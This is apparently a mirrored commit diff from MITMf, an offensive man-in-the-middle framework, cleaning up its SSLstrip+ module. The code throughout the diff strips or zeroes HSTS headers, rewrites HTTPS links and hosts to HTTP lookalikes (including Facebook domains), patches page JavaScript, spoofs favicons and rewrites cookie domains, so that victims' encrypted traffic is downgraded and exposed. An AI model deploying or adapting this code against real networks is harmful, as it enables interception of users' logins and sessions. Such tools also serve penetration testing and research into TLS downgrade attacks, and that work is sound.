mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-30 11:48:27 -07:00
- Cleaned up the SSLstrip+ code (somewhat)
- ServerConnection now properly detects and removes HSTS headers - Fixed debug output
This commit is contained in:
parent
c85fd2b5f3
commit
2200edcf5e
6 changed files with 76 additions and 131 deletions
|
@ -227,7 +227,6 @@
|
|||
accounts.google.se = cuentas.google.se
|
||||
|
||||
#for facebook
|
||||
www.facebook.com = social.facebook.com
|
||||
facebook.com = social.facebook.com
|
||||
|
||||
#-----------------------------------------------------------------------------------------------------------------------------------------#
|
||||
|
|
|
@ -57,14 +57,13 @@ class ClientRequest(Request):
|
|||
def cleanHeaders(self):
|
||||
headers = self.getAllHeaders().copy()
|
||||
|
||||
#for k,v in headers.items():
|
||||
# logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
|
||||
|
||||
if 'accept-encoding' in headers:
|
||||
headers['accept-encoding'] == 'identity'
|
||||
logging.debug("Zapped encoding")
|
||||
|
||||
if 'strict-transport-security' in headers: #kill new hsts requests
|
||||
del headers['strict-transport-security']
|
||||
logging.info("Zapped HSTS header")
|
||||
|
||||
if 'if-modified-since' in headers:
|
||||
del headers['if-modified-since']
|
||||
|
||||
|
@ -82,11 +81,14 @@ class ClientRequest(Request):
|
|||
headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer'])
|
||||
|
||||
if 'host' in headers:
|
||||
host = self.urlMonitor.URLgetRealHost("%s" % headers['host'])
|
||||
logging.debug("Modifing HOST header: %s -> %s" % (headers['host'],host))
|
||||
headers['host'] = host
|
||||
headers['securelink'] = '1'
|
||||
self.setHeader('Host',host)
|
||||
host = self.urlMonitor.URLgetRealHost(headers['host'])
|
||||
if host[1] is True:
|
||||
logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'],host[0]))
|
||||
headers['host'] = host[0]
|
||||
headers['securelink'] = '1'
|
||||
self.setHeader('Host',host[0])
|
||||
else:
|
||||
logging.debug("[ClientRequest][HSTS] Passed on HOST header: %s " % headers['host'])
|
||||
|
||||
self.plugins.hook()
|
||||
|
||||
|
@ -116,19 +118,15 @@ class ClientRequest(Request):
|
|||
headers = self.cleanHeaders()
|
||||
client = self.getClientIP()
|
||||
path = self.getPathFromUri()
|
||||
url = 'http://' + host + path
|
||||
self.uri = url # set URI to absolute
|
||||
|
||||
try:
|
||||
if self.content:
|
||||
self.content.seek(0,0)
|
||||
postData = self.content.read()
|
||||
except:
|
||||
pass
|
||||
postData = self.content.read()
|
||||
|
||||
if self.hsts:
|
||||
|
||||
#Original code from SSLstrip+
|
||||
#Saying that this is unreadible is an understatement
|
||||
#KILL IT WITH FIRE!!
|
||||
|
||||
real = self.urlMonitor.real
|
||||
patchDict = self.urlMonitor.patchDict
|
||||
|
||||
|
@ -136,67 +134,41 @@ class ClientRequest(Request):
|
|||
dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys())))
|
||||
path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path)
|
||||
postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData)
|
||||
if len(patchDict)>0:
|
||||
|
||||
if len(patchDict) > 0:
|
||||
dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys())))
|
||||
postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData)
|
||||
|
||||
url = 'http://' + host + path
|
||||
|
||||
headers['content-length'] = "%d" % len(postData)
|
||||
|
||||
#self.dnsCache.cacheResolution(host, address)
|
||||
hostparts = host.split(':')
|
||||
self.dnsCache.cacheResolution(hostparts[0], address)
|
||||
#self.dnsCache.cacheResolution(host, address)
|
||||
hostparts = host.split(':')
|
||||
self.dnsCache.cacheResolution(hostparts[0], address)
|
||||
|
||||
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
|
||||
logging.debug("Sending expired cookies...")
|
||||
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
|
||||
host, headers, path))
|
||||
elif (self.urlMonitor.isSecureFavicon(client, path)):
|
||||
logging.debug("Sending spoofed favicon response...")
|
||||
self.sendSpoofedFaviconResponse()
|
||||
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
|
||||
if 'securelink' in headers:
|
||||
del headers['securelink']
|
||||
logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url))
|
||||
self.proxyViaSSL(address, self.method, path, postData, headers,
|
||||
self.urlMonitor.getSecurePort(client, url))
|
||||
else:
|
||||
logging.debug("LEO Sending request via HTTP...")
|
||||
#self.proxyViaHTTP(address, self.method, path, postData, headers)
|
||||
port = 80
|
||||
if len(hostparts) > 1:
|
||||
port = int(hostparts[1])
|
||||
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
|
||||
logging.debug("Sending expired cookies...")
|
||||
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
|
||||
|
||||
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
|
||||
elif (self.urlMonitor.isSecureFavicon(client, path)):
|
||||
logging.debug("Sending spoofed favicon response...")
|
||||
self.sendSpoofedFaviconResponse()
|
||||
|
||||
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
|
||||
if 'securelink' in headers:
|
||||
del headers['securelink']
|
||||
|
||||
logging.debug("Sending request via SSL...(%s %s)" % (client,url))
|
||||
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
|
||||
|
||||
else:
|
||||
logging.debug("Sending request via HTTP...")
|
||||
#self.proxyViaHTTP(address, self.method, path, postData, headers)
|
||||
port = 80
|
||||
if len(hostparts) > 1:
|
||||
port = int(hostparts[1])
|
||||
|
||||
url = 'http://' + host + path
|
||||
self.uri = url # set URI to absolute
|
||||
|
||||
#self.dnsCache.cacheResolution(host, address)
|
||||
hostparts = host.split(':')
|
||||
self.dnsCache.cacheResolution(hostparts[0], address)
|
||||
|
||||
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
|
||||
logging.debug("Sending expired cookies...")
|
||||
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client,
|
||||
host, headers, path))
|
||||
elif (self.urlMonitor.isSecureFavicon(client, path)):
|
||||
logging.debug("Sending spoofed favicon response...")
|
||||
self.sendSpoofedFaviconResponse()
|
||||
elif (self.urlMonitor.isSecureLink(client, url)):
|
||||
logging.debug("Sending request via SSL...")
|
||||
self.proxyViaSSL(address, self.method, path, postData, headers,
|
||||
self.urlMonitor.getSecurePort(client, url))
|
||||
else:
|
||||
logging.debug("Sending request via HTTP...")
|
||||
#self.proxyViaHTTP(address, self.method, path, postData, headers)
|
||||
port = 80
|
||||
if len(hostparts) > 1:
|
||||
port = int(hostparts[1])
|
||||
|
||||
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
|
||||
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
|
||||
|
||||
def handleHostResolvedError(self, error):
|
||||
logging.warning("Host resolution error: " + str(error))
|
||||
|
@ -223,13 +195,13 @@ class ClientRequest(Request):
|
|||
real = self.urlMonitor.real
|
||||
|
||||
if 'wwww' in host:
|
||||
logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host))
|
||||
logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host))
|
||||
host = host[1:]
|
||||
elif 'web' in host:
|
||||
logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host))
|
||||
logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host))
|
||||
host = host[3:]
|
||||
elif host in real:
|
||||
logging.debug("Resolving %s for HSTS bypass (Twisted)" % (host))
|
||||
logging.info("%s Resolving %s for HSTS bypass (Twisted)" % (self.getClientIP(), host))
|
||||
host = real[host]
|
||||
|
||||
hostparts = host.split(':')
|
||||
|
|
|
@ -52,11 +52,11 @@ class SSLServerConnection(ServerConnection):
|
|||
for v in values:
|
||||
if v[:7].lower()==' domain':
|
||||
dominio=v.split("=")[1]
|
||||
logging.debug("LEO Parsing cookie domain parameter: %s"%v)
|
||||
logging.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v)
|
||||
real = self.urlMonitor.sustitucion
|
||||
if dominio in real:
|
||||
v=" Domain=%s"%real[dominio]
|
||||
logging.debug("LEO New cookie domain parameter: %s"%v)
|
||||
logging.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v)
|
||||
newvalues.append(v)
|
||||
value = ';'.join(newvalues)
|
||||
|
||||
|
|
|
@ -109,6 +109,8 @@ class ServerConnection(HTTPClient):
|
|||
self.client.setResponseCode(int(code), message)
|
||||
|
||||
def handleHeader(self, key, value):
|
||||
logging.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value))
|
||||
|
||||
if (key.lower() == 'location'):
|
||||
value = self.replaceSecureLinks(value)
|
||||
|
||||
|
@ -122,20 +124,21 @@ class ServerConnection(HTTPClient):
|
|||
logging.debug("Response is compressed...")
|
||||
self.isCompressed = True
|
||||
|
||||
#if (key.lower() == 'strict-transport-security'):
|
||||
# value = 'max-age=0'
|
||||
elif (key.lower()== 'strict-transport-security'):
|
||||
value="max-age=0"
|
||||
logging.info("Zapped a strict-trasport-security header")
|
||||
|
||||
elif (key.lower() == 'content-length'):
|
||||
self.contentLength = value
|
||||
|
||||
elif (key.lower() == 'set-cookie'):
|
||||
self.client.responseHeaders.addRawHeader(key, value)
|
||||
|
||||
else:
|
||||
self.client.setHeader(key, value)
|
||||
|
||||
self.plugins.hook()
|
||||
|
||||
logging.debug("Receiving header: (%s => %s)" % (key, value))
|
||||
|
||||
def handleEndHeaders(self):
|
||||
if (self.isImageRequest and self.contentLength != None):
|
||||
self.client.setHeader("Content-Length", self.contentLength)
|
||||
|
@ -185,12 +188,9 @@ class ServerConnection(HTTPClient):
|
|||
def replaceSecureLinks(self, data):
|
||||
if self.hsts:
|
||||
|
||||
#Original code from SSLstrip+
|
||||
#Saying that this is unreadible is an understatement
|
||||
#KILL IT WITH FIRE!!
|
||||
|
||||
sustitucion = {}
|
||||
patchDict = self.urlMonitor.patchDict
|
||||
|
||||
if len(patchDict)>0:
|
||||
dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys())))
|
||||
data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data)
|
||||
|
@ -199,9 +199,9 @@ class ServerConnection(HTTPClient):
|
|||
for match in iterator:
|
||||
url = match.group()
|
||||
|
||||
logging.debug("Found secure reference: " + url)
|
||||
logging.debug("[ServerConnection] Found secure reference: " + url)
|
||||
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
|
||||
logging.debug("LEO replacing %s => %s"%(url,nuevaurl))
|
||||
logging.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl))
|
||||
sustitucion[url] = nuevaurl
|
||||
#data.replace(url,nuevaurl)
|
||||
|
||||
|
@ -210,11 +210,11 @@ class ServerConnection(HTTPClient):
|
|||
dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys())))
|
||||
data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data)
|
||||
|
||||
#logging.debug("LEO DEBUG received data:\n"+data)
|
||||
#logging.debug("HSTS DEBUG received data:\n"+data)
|
||||
#data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data)
|
||||
#data = re.sub(ServerConnection.urlTypewww, 'http://w', data)
|
||||
#if data.find("http://w.face")!=-1:
|
||||
# logging.debug("LEO DEBUG Found error in modifications")
|
||||
# logging.debug("HSTS DEBUG Found error in modifications")
|
||||
# raw_input("Press Enter to continue")
|
||||
#return re.sub(ServerConnection.urlType, 'http://web.', data)
|
||||
return data
|
||||
|
|
|
@ -30,12 +30,12 @@ class URLMonitor:
|
|||
javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")]
|
||||
_instance = None
|
||||
sustitucion = {} # LEO: diccionario host / sustitucion
|
||||
real = {} # LEO: diccionario host / real
|
||||
patchDict = {
|
||||
'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
|
||||
'https:\/\/www.facebook.com':'http:\/\/social.facebook.com',
|
||||
'return"https:"':'return"http:"'
|
||||
}
|
||||
real = {} # LEO: diccionario host / real
|
||||
patchDict = {
|
||||
'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net',
|
||||
'https:\/\/www.facebook.com':'http:\/\/social.facebook.com',
|
||||
'return"https:"':'return"http:"'
|
||||
}
|
||||
|
||||
def __init__(self):
|
||||
self.strippedURLs = set()
|
||||
|
@ -52,32 +52,6 @@ class URLMonitor:
|
|||
|
||||
return (client,url) in self.strippedURLs
|
||||
|
||||
def writeClientLog(self, client, headers, message):
|
||||
'''
|
||||
This isn't used for now.. the point was to log every clients
|
||||
data to a seperate file
|
||||
|
||||
Don't see how useful it could be though
|
||||
'''
|
||||
|
||||
if not os.path.exists("./logs"):
|
||||
os.makedirs("./logs")
|
||||
|
||||
if (client.getClientIP() + '.log') not in os.listdir("./logs"):
|
||||
|
||||
try:
|
||||
log_message = "#Log file for %s (%s)\n" % (client.getClientIP(), headers['user-agent'])
|
||||
except KeyError:
|
||||
log_message = "#Log file for %s\n" % client.getClientIP()
|
||||
|
||||
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
|
||||
log_file.write(log_message + message + "\n")
|
||||
log_file.close()
|
||||
else:
|
||||
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
|
||||
log_file.write(message + "\n")
|
||||
log_file.close()
|
||||
|
||||
def getSecurePort(self, client, url):
|
||||
if (client,url) in self.strippedURLs:
|
||||
return self.strippedURLPorts[(client,url)]
|
||||
|
@ -115,7 +89,6 @@ class URLMonitor:
|
|||
port = 443
|
||||
|
||||
if self.hsts:
|
||||
#LEO: Sustituir HOST
|
||||
if not self.sustitucion.has_key(host):
|
||||
lhost = host[:4]
|
||||
if lhost=="www.":
|
||||
|
@ -124,14 +97,15 @@ class URLMonitor:
|
|||
else:
|
||||
self.sustitucion[host] = "web"+host
|
||||
self.real["web"+host] = host
|
||||
logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
|
||||
logging.debug("[URLMonitor][HSTS] SSL host (%s) tokenized (%s)" % (host,self.sustitucion[host]) )
|
||||
|
||||
url = 'http://' + host + path
|
||||
#logging.debug("LEO stripped URL: %s %s"%(client, url))
|
||||
#logging.debug("HSTS stripped URL: %s %s"%(client, url))
|
||||
|
||||
self.strippedURLs.add((client, url))
|
||||
self.strippedURLPorts[(client, url)] = int(port)
|
||||
return 'http://'+self.sustitucion[host]+path
|
||||
|
||||
return 'http://'+ self.sustitucion[host] + path
|
||||
|
||||
else:
|
||||
url = method + host + path
|
||||
|
@ -167,13 +141,13 @@ class URLMonitor:
|
|||
return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1))
|
||||
|
||||
def URLgetRealHost(self,host):
|
||||
logging.debug("Parsing host: %s"%host)
|
||||
logging.debug("[URLMonitor][HSTS]Parsing host: %s"%host)
|
||||
if self.real.has_key(host):
|
||||
logging.debug("New host: %s"%self.real[host])
|
||||
return self.real[host]
|
||||
logging.debug("[URLMonitor][HSTS]New host: %s"%self.real[host])
|
||||
return (self.real[host], True)
|
||||
else:
|
||||
logging.debug("New host: %s"%host)
|
||||
return host
|
||||
logging.debug("[URLMonitor][HSTS]New host: %s"%host)
|
||||
return (host, False)
|
||||
|
||||
def getInstance():
|
||||
if URLMonitor._instance == None:
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue